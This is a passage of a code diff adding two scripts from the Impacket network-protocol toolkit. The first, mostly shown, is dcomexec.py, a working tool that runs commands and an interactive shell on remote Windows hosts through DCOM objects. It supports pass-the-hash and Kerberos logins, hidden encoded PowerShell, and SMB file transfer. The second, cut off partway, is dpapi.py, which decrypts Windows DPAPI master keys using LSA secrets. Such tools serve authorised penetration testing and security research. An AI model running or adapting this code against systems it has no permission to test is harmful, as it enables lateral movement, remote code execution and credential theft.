+#   beto (@agsolino)
+#   Marcello (@byt3bl33d3r)
+#
+# Reference for:
+#  DCOM
+#
+# ToDo:
+#   [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to
+#       getInterface() method
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import cmd
+import logging
+import ntpath
+import os
+import sys
+import time
+from base64 import b64encode
+
+from six import PY2, PY3
+from impacket import version
+from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
+    VARIANT, VARENUM, DISPATCH_METHOD
+from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
+from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
+    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
+    IRemUnknown2, INTERFACE
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
+from impacket.krb5.keytab import Keytab
+
+OUTPUT_FILENAME = '__' + str(time.time())[:5]
+CODEC = sys.stdout.encoding
+
+class DCOMEXEC:
+    def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
+                 noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None, shell_type=None):
+        self.__command = command
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = aesKey
+        self.__share = share
+        self.__noOutput = noOutput
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+        self.__dcomObject = dcomObject
+        self.__shell_type = shell_type
+        self.shell = None
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def getInterface(self, interface, resp):
+        # Now let's parse the answer and build an Interface instance
+        objRefType = OBJREF(b''.join(resp))['flags']
+        objRef = None
+        if objRefType == FLAGS_OBJREF_CUSTOM:
+            objRef = OBJREF_CUSTOM(b''.join(resp))
+        elif objRefType == FLAGS_OBJREF_HANDLER:
+            objRef = OBJREF_HANDLER(b''.join(resp))
+        elif objRefType == FLAGS_OBJREF_STANDARD:
+            objRef = OBJREF_STANDARD(b''.join(resp))
+        elif objRefType == FLAGS_OBJREF_EXTENDED:
+            objRef = OBJREF_EXTENDED(b''.join(resp))
+        else:
+            logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
+
+        return IRemUnknown2(
+            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
+                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
+                      target=interface.get_target()))
+
+    def run(self, addr, silentCommand=False):
+        if self.__noOutput is False and silentCommand is False:
+            smbConnection = SMBConnection(addr, addr)
+            if self.__doKerberos is False:
+                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            else:
+                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
+                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
+
+            dialect = smbConnection.getDialect()
+            if dialect == SMB_DIALECT:
+                logging.info("SMBv1 dialect used")
+            elif dialect == SMB2_DIALECT_002:
+                logging.info("SMBv2.0 dialect used")
+            elif dialect == SMB2_DIALECT_21:
+                logging.info("SMBv2.1 dialect used")
+            else:
+                logging.info("SMBv3.0 dialect used")
+        else:
+            smbConnection = None
+
+        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
+        try:
+            dispParams = DISPPARAMS(None, False)
+            dispParams['rgvarg'] = NULL
+            dispParams['rgdispidNamedArgs'] = NULL
+            dispParams['cArgs'] = 0
+            dispParams['cNamedArgs'] = 0
+
+            if self.__dcomObject == 'ShellWindows':
+                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
+                iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
+                iMMC = IDispatch(iInterface)
+                resp = iMMC.GetIDsOfNames(('Item',))
+                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
+                iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
+                resp = iItem.GetIDsOfNames(('Document',))
+                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
+                pQuit = None
+            elif self.__dcomObject == 'ShellBrowserWindow':
+                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
+                iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
+                iMMC = IDispatch(iInterface)
+                resp = iMMC.GetIDsOfNames(('Document',))
+                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
+                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
+            elif self.__dcomObject == 'MMC20':
+                iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
+                iMMC = IDispatch(iInterface)
+                resp = iMMC.GetIDsOfNames(('Document',))
+                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
+                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
+            else:
+                logging.fatal('Invalid object %s' % self.__dcomObject)
+                return
+
+            iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
+
+            if self.__dcomObject == 'MMC20':
+                resp = iDocument.GetIDsOfNames(('ActiveView',))
+                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
+
+                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
+                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
+                self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)
+            else:
+                resp = iDocument.GetIDsOfNames(('Application',))
+                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
+
+                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
+                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
+                self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)
+
+            if self.__command != ' ':
+                try:
+                    self.shell.onecmd(self.__command)
+                except TypeError:
+                    if not silentCommand:
+                        raise
+                if self.shell is not None:
+                    self.shell.do_exit('')
+            else:
+                self.shell.cmdloop()
+        except  (Exception, KeyboardInterrupt) as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            if self.shell is not None:
+                self.shell.do_exit('')
+            logging.error(str(e))
+            if smbConnection is not None:
+                smbConnection.logoff()
+            dcom.disconnect()
+            sys.stdout.flush()
+            sys.exit(1)
+
+        if smbConnection is not None:
+            smbConnection.logoff()
+        dcom.disconnect()
+
+class RemoteShell(cmd.Cmd):
+    def __init__(self, share, quit, executeShellCommand, smbConnection, shell_type, silentCommand=False):
+        cmd.Cmd.__init__(self)
+        self._share = share
+        self._output = '\\' + OUTPUT_FILENAME
+        self.__outputBuffer = ''
+        self._shell = 'cmd.exe'
+        self.__shell_type = shell_type
+        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
+        self.__quit = quit
+        self._executeShellCommand = executeShellCommand
+        self.__transferClient = smbConnection
+        self._silentCommand = silentCommand
+        self._pwd = 'C:\\windows\\system32'
+        self._noOutput = False
+        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
+
+        # We don't wanna deal with timeouts from now on.
+        if self.__transferClient is not None:
+            self.__transferClient.setTimeout(100000)
+            self.do_cd('\\')
+        else:
+            self._noOutput = True
+
+    def do_shell(self, s):
+        os.system(s)
+
+    def do_help(self, line):
+        print("""
+ lcd {path}                 - changes the current local directory to {path}
+ exit                       - terminates the server process (and this session)
+ lput {src_file, dst_path}   - uploads a local file to the dst_path (dst_path = default current directory)
+ lget {file}                 - downloads pathname to the current local dir
+ ! {cmd}                    - executes a local shell cmd
+""")
+
+    def do_lcd(self, s):
+        if s == '':
+            print(os.getcwd())
+        else:
+            try:
+                os.chdir(s)
+            except Exception as e:
+                logging.error(str(e))
+
+    def do_lget(self, src_path):
+        try:
+            import ntpath
+            newPath = ntpath.normpath(ntpath.join(self._pwd, src_path))
+            drive, tail = ntpath.splitdrive(newPath)
+            filename = ntpath.basename(tail)
+            fh = open(filename,'wb')
+            logging.info("Downloading %s\\%s" % (drive, tail))
+            self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
+            fh.close()
+        except Exception as e:
+            logging.error(str(e))
+            os.remove(filename)
+            pass
+
+    def do_lput(self, s):
+        try:
+            params = s.split(' ')
+            if len(params) > 1:
+                src_path = params[0]
+                dst_path = params[1]
+            elif len(params) == 1:
+                src_path = params[0]
+                dst_path = ''
+
+            src_file = os.path.basename(src_path)
+            fh = open(src_path, 'rb')
+            dst_path = dst_path.replace('/','\\')
+            import ntpath
+            pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file)
+            drive, tail = ntpath.splitdrive(pathname)
+            logging.info("Uploading %s to %s" % (src_file, pathname))
+            self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
+            fh.close()
+        except Exception as e:
+            logging.critical(str(e))
+            pass
+
+    def do_exit(self, s):
+        dispParams = DISPPARAMS(None, False)
+        dispParams['rgvarg'] = NULL
+        dispParams['rgdispidNamedArgs'] = NULL
+        dispParams['cArgs'] = 0
+        dispParams['cNamedArgs'] = 0
+
+        self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
+                                             0, [], [])
+        return True
+
+    def do_EOF(self, s):
+        print()
+        return self.do_exit(s)
+
+    def emptyline(self):
+        return False
+
+    def do_cd(self, s):
+        self.execute_remote('cd ' + s)
+        if len(self.__outputBuffer.strip('\r\n')) > 0:
+            print(self.__outputBuffer)
+            self.__outputBuffer = ''
+        else:
+            if PY2:
+                self._pwd = ntpath.normpath(ntpath.join(self._pwd, s.decode(sys.stdin.encoding)))
+            else:
+                self._pwd = ntpath.normpath(ntpath.join(self._pwd, s))
+            self.execute_remote('cd ')
+            self._pwd = self.__outputBuffer.strip('\r\n')
+            self.prompt = (self._pwd + '>')
+            if self.__shell_type == 'powershell':
+                    self.prompt = 'PS ' + self.prompt + ' '
+            self.__outputBuffer = ''
+
+    def default(self, line):
+        # Let's try to guess if the user is trying to change drive
+        if len(line) == 2 and line[1] == ':':
+            # Execute the command and see if the drive is valid
+            self.execute_remote(line)
+            if len(self.__outputBuffer.strip('\r\n')) > 0:
+                # Something went wrong
+                print(self.__outputBuffer)
+                self.__outputBuffer = ''
+            else:
+                # Drive valid, now we should get the current path
+                self._pwd = line
+                self.execute_remote('cd ')
+                self._pwd = self.__outputBuffer.strip('\r\n')
+                self.prompt = (self._pwd + '>')
+                if self.__shell_type == 'powershell':
+                    self.prompt = 'PS ' + self.prompt + ' '
+                self.__outputBuffer = ''
+        else:
+            if line != '':
+                self.send_data(line)
+
+    def get_output(self):
+        def output_callback(data):
+            try:
+                self.__outputBuffer += data.decode(CODEC)
+            except UnicodeDecodeError:
+                logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
+                              'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute dcomexec.py '
+                              'again with -codec and the corresponding codec')
+                self.__outputBuffer += data.decode(CODEC, errors='replace')
+
+        if self._noOutput is True:
+            self.__outputBuffer = ''
+            return
+
+        while True:
+            try:
+                self.__transferClient.getFile(self._share, self._output, output_callback)
+                break
+            except Exception as e:
+                if str(e).find('STATUS_SHARING_VIOLATION') >=0:
+                    # Output not finished, let's wait
+                    time.sleep(1)
+                    pass
+                elif str(e).find('Broken') >= 0:
+                    # The SMB Connection might have timed out, let's try reconnecting
+                    logging.debug('Connection broken, trying to recreate it')
+                    self.__transferClient.reconnect()
+                    return self.get_output()
+        self.__transferClient.deleteFile(self._share, self._output)
+
+    def execute_remote(self, data, shell_type='cmd'):
+        if self._silentCommand is True:
+            self._shell = data.split()[0]
+            command = ' '.join(data.split()[1:])
+        else:
+            if shell_type == 'powershell':
+                data = '$ProgressPreference="SilentlyContinue";' + data
+                data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()
+            command = '/Q /c ' + data
+
+        if self._noOutput is False:
+            command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
+
+        logging.debug('Executing: %s' % command)
+
+        dispParams = DISPPARAMS(None, False)
+        dispParams['rgdispidNamedArgs'] = NULL
+        dispParams['cArgs'] = 5
+        dispParams['cNamedArgs'] = 0
+        arg0 = VARIANT(None, False)
+        arg0['clSize'] = 5
+        arg0['vt'] = VARENUM.VT_BSTR
+        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg0['_varUnion']['bstrVal']['asData'] = self._shell
+
+        arg1 = VARIANT(None, False)
+        arg1['clSize'] = 5
+        arg1['vt'] = VARENUM.VT_BSTR
+        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
+        if PY3:
+            arg1['_varUnion']['bstrVal']['asData'] = command
+        else:
+            arg1['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)
+
+        arg2 = VARIANT(None, False)
+        arg2['clSize'] = 5
+        arg2['vt'] = VARENUM.VT_BSTR
+        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg2['_varUnion']['bstrVal']['asData'] = self._pwd
+
+        arg3 = VARIANT(None, False)
+        arg3['clSize'] = 5
+        arg3['vt'] = VARENUM.VT_BSTR
+        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg3['_varUnion']['bstrVal']['asData'] = ''
+
+        arg4 = VARIANT(None, False)
+        arg4['clSize'] = 5
+        arg4['vt'] = VARENUM.VT_BSTR
+        arg4['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg4['_varUnion']['bstrVal']['asData'] = '0'
+        dispParams['rgvarg'].append(arg4)
+        dispParams['rgvarg'].append(arg3)
+        dispParams['rgvarg'].append(arg2)
+        dispParams['rgvarg'].append(arg1)
+        dispParams['rgvarg'].append(arg0)
+
+        #print(dispParams.dump())
+
+        self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
+                                            0, [], [])
+        self.get_output()
+
+    def send_data(self, data):
+        self.execute_remote(data, self.__shell_type)
+        print(self.__outputBuffer)
+        self.__outputBuffer = ''
+
+class RemoteShellMMC20(RemoteShell):
+    def execute_remote(self, data, shell_type='cmd'):
+        if self._silentCommand is True:
+            self._shell = data.split()[0]
+            command = ' '.join(data.split()[1:])
+        else:
+            if shell_type == 'powershell':
+                data = '$ProgressPreference="SilentlyContinue";' + data
+                data = self._RemoteShell__pwsh + b64encode(data.encode('utf-16le')).decode()
+            command = '/Q /c ' + data
+
+        if self._noOutput is False:
+            command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output  + ' 2>&1'
+
+        dispParams = DISPPARAMS(None, False)
+        dispParams['rgdispidNamedArgs'] = NULL
+        dispParams['cArgs'] = 4
+        dispParams['cNamedArgs'] = 0
+        arg0 = VARIANT(None, False)
+        arg0['clSize'] = 5
+        arg0['vt'] = VARENUM.VT_BSTR
+        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg0['_varUnion']['bstrVal']['asData'] = self._shell
+
+        arg1 = VARIANT(None, False)
+        arg1['clSize'] = 5
+        arg1['vt'] = VARENUM.VT_BSTR
+        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg1['_varUnion']['bstrVal']['asData'] = self._pwd
+
+        arg2 = VARIANT(None, False)
+        arg2['clSize'] = 5
+        arg2['vt'] = VARENUM.VT_BSTR
+        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
+        if PY3:
+            arg2['_varUnion']['bstrVal']['asData'] = command
+        else:
+            arg2['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)
+
+        arg3 = VARIANT(None, False)
+        arg3['clSize'] = 5
+        arg3['vt'] = VARENUM.VT_BSTR
+        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
+        arg3['_varUnion']['bstrVal']['asData'] = '7'
+        dispParams['rgvarg'].append(arg3)
+        dispParams['rgvarg'].append(arg2)
+        dispParams['rgvarg'].append(arg1)
+        dispParams['rgvarg'].append(arg0)
+
+        self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
+                                            0, [], [])
+        self.get_output()
+
+class AuthFileSyntaxError(Exception):
+
+    '''raised by load_smbclient_auth_file if it encounters a syntax error
+    while loading the smbclient-style authentication file.'''
+
+    def __init__(self, path, lineno, reason):
+        self.path=path
+        self.lineno=lineno
+        self.reason=reason
+
+    def __str__(self):
+        return 'Syntax error in auth file %s line %d: %s' % (
+            self.path, self.lineno, self.reason )
+
+def load_smbclient_auth_file(path):
+
+    '''Load credentials from an smbclient-style authentication file (used by
+    smbclient, mount.cifs and others).  returns (domain, username, password)
+    or raises AuthFileSyntaxError or any I/O exceptions.'''
+
+    lineno=0
+    domain=None
+    username=None
+    password=None
+    for line in open(path):
+        lineno+=1
+
+        line = line.strip()
+
+        if line.startswith('#') or line=='':
+            continue
+
+        parts = line.split('=',1)
+        if len(parts) != 2:
+            raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
+
+        (k,v) = (parts[0].strip(), parts[1].strip())
+
+        if k=='username':
+            username=v
+        elif k=='password':
+            password=v
+        elif k=='domain':
+            domain=v
+        else:
+            raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
+
+    return (domain, username, password)
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the "
+                                                                    "ShellBrowserWindow DCOM object.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
+                                                                           '(default ADMIN$)')
+    parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
+                                                                                '(no SMB connection created)')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
+                                                       '"%s"). If errors are detected, run chcp.com at the target, '
+                                                       'map the result with '
+                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '
+                          'again with -codec and the corresponding codec ' % CODEC)
+    parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows',
+                        help='DCOM object to be used to execute the shell command (default=ShellWindows)')
+    parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, '
+                        'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')
+    parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose '
+                        'a command processor for the semi-interactive shell')
+    parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
+                                                                  'launch a semi-interactive shell')
+    parser.add_argument('-silentcommand', action='store_true', default = False,
+                        help='does not execute cmd.exe to run given command (no output, cannot run dir/cd/etc.)')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
+                                                                        "See smbclient man page's -A option.")
+    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.codec is not None:
+        CODEC = options.codec
+    else:
+        if CODEC is None:
+            CODEC = 'utf-8'
+
+    if ' '.join(options.command) == ' ' and options.nooutput is True:
+        logging.error("-nooutput switch and interactive shell not supported")
+        sys.exit(1)
+    if options.silentcommand and options.command == ' ':
+        logging.error("-silentcommand switch and interactive shell not supported")
+        sys.exit(1)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    if options.com_version is not None:
+        try:
+            major_version, minor_version = options.com_version.split('.')
+            COMVERSION.set_default_version(int(major_version), int(minor_version))
+        except Exception:
+            logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"")
+            sys.exit(1)
+
+    domain, username, password, address = parse_target(options.target)
+
+    try:
+        if options.A is not None:
+            (domain, username, password) = load_smbclient_auth_file(options.A)
+            logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
+
+        if domain is None:
+            domain = ''
+
+        if options.keytab is not None:
+            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
+            options.k = True
+
+        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+            from getpass import getpass
+            password = getpass("Password:")
+
+        if options.aesKey is not None:
+            options.k = True
+
+        executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
+                            options.share, options.nooutput, options.k, options.dc_ip, options.object, options.shell_type)
+        executer.run(address, options.silentcommand)
+    except (Exception, KeyboardInterrupt) as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(str(e))
+    sys.exit(0)
diff --git a/examples/dpapi.py b/examples/dpapi.py
new file mode 100644
index 0000000..8888358
--- /dev/null
+++ b/examples/dpapi.py
@@ -0,0 +1,592 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Example for using the DPAPI/Vault structures to unlock Windows Secrets.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Examples:
+#
+#   You can unlock masterkeys, credentials and vaults. For the three, you will specify the file name (using -file for
+#   masterkeys and credentials, and -vpol and -vcrd for vaults).
+#   If no other parameter is sent, the contents of these resource will be shown, with their encrypted data as well.
+#   If you specify a -key blob (in the form of '0xabcdef...') that key will be used to decrypt the contents.
+#   In the case of vaults, you might need to also provide the user's sid (and the user password will be asked).
+#   For system secrets, instead of a password you will need to specify the system and security hives.
+#
+# References:
+#   All of the work done by these guys. I just adapted their work to my needs.
+#   - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28
+#   - https://github.com/jordanbtucker/dpapick
+#   - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did )
+#   - http://blog.digital-forensics.it/2016/01/windows-revaulting.html
+#   - https://www.passcape.com/windows_password_recovery_vault_explorer
+#   - https://www.passcape.com/windows_password_recovery_dpapi_master_key
+#
+
+from __future__ import division
+from __future__ import print_function
+
+import struct
+import argparse
+import logging
+import sys
+from six import b
+from binascii import unhexlify, hexlify
+from hashlib import pbkdf2_hmac
+
+from Cryptodome.Cipher import AES, PKCS1_v1_5
+from Cryptodome.Hash import HMAC, SHA1, MD4
+from impacket.uuid import bin_to_string
+from impacket import crypto
+from impacket.smbconnection import SMBConnection
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5 import lsad
+from impacket.dcerpc.v5 import bkrp
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.examples.secretsdump import LocalOperations, LSASecrets
+from impacket.structure import hexdump
+from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, DPAPI_BLOB, \
+    CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, P_BACKUP_KEY, PREFERRED_BACKUP_KEY, \
+    PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY
+
+
+class DPAPI:
+    def __init__(self, options):
+        self.options = options
+        self.dpapiSystem = {}
+        pass
+
+    def getDPAPI_SYSTEM(self,secretType, secret):
+        if secret.startswith("dpapi_machinekey:"):
+            machineKey, userKey = secret.split('\n')
+            machineKey = machineKey.split(':')[1]
+            userKey = userKey.split(':')[1]
+            self.dpapiSystem['MachineKey'] = unhexlify(machineKey[2:])
+            self.dpapiSystem['UserKey'] = unhexlify(userKey[2:])
+
+    def getLSA(self):
+        localOperations = LocalOperations(self.options.system)
+        bootKey = localOperations.getBootKey()
+
+        lsaSecrets = LSASecrets(self.options.security, bootKey, None, isRemote=False, history=False, perSecretCallback = self.getDPAPI_SYSTEM)
+
+        lsaSecrets.dumpSecrets()
+
+        # Did we get the values we wanted?
+        if 'MachineKey' not in self.dpapiSystem or 'UserKey' not in self.dpapiSystem:
+            logging.error('Cannot grab MachineKey/UserKey from LSA, aborting...')
+            sys.exit(1)
+
+
+
+    def deriveKeysFromUser(self, sid, password):
+        # Will generate two keys, one with SHA1 and another with MD4
+        key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
+        key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
+        # For Protected users
+        tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000)
+        tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
+        key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20]
+
+        return key1, key2, key3
+
+    def deriveKeysFromUserkey(self, sid, pwdhash):
+        if len(pwdhash) == 20:
+            # SHA1
+            key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
+            key2 = None
+        else:
+            # Assume MD4
+            key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
+            # For Protected users
+            tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000)
+            tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
+            key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20]
+
+        return key1, key2
+
+    def run(self):
+        if self.options.action.upper() == 'MASTERKEY':
+            fp = open(options.file, 'rb')
+            data = fp.read()
+            mkf= MasterKeyFile(data)
+            mkf.dump()
+            data = data[len(mkf):]
+
+            if mkf['MasterKeyLen'] > 0:
+                mk = MasterKey(data[:mkf['MasterKeyLen']])
+                data = data[len(mk):]
+
+            if mkf['BackupKeyLen'] > 0:
+                bkmk = MasterKey(data[:mkf['BackupKeyLen']])
+                data = data[len(bkmk):]
+
+            if mkf['CredHistLen'] > 0:
+                ch = CredHist(data[:mkf['CredHistLen']])
+                data = data[len(ch):]
+
+            if mkf['DomainKeyLen'] > 0:
+                dk = DomainKey(data[:mkf['DomainKeyLen']])
+                data = data[len(dk):]
+
+            if self.options.system and self.options.security and self.options.sid is None:
+                # We have hives, let's try to decrypt with them
+                self.getLSA()
+                decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])
+                if decryptedKey:
+                    print('Decrypted key with UserKey')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+                decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey'])
+                if decryptedKey:
+                    print('Decrypted key with MachineKey')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+                decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey'])
+                if decryptedKey:
+                    print('Decrypted Backup key with UserKey')
+                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
+                    return
+                decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey'])
+                if decryptedKey:
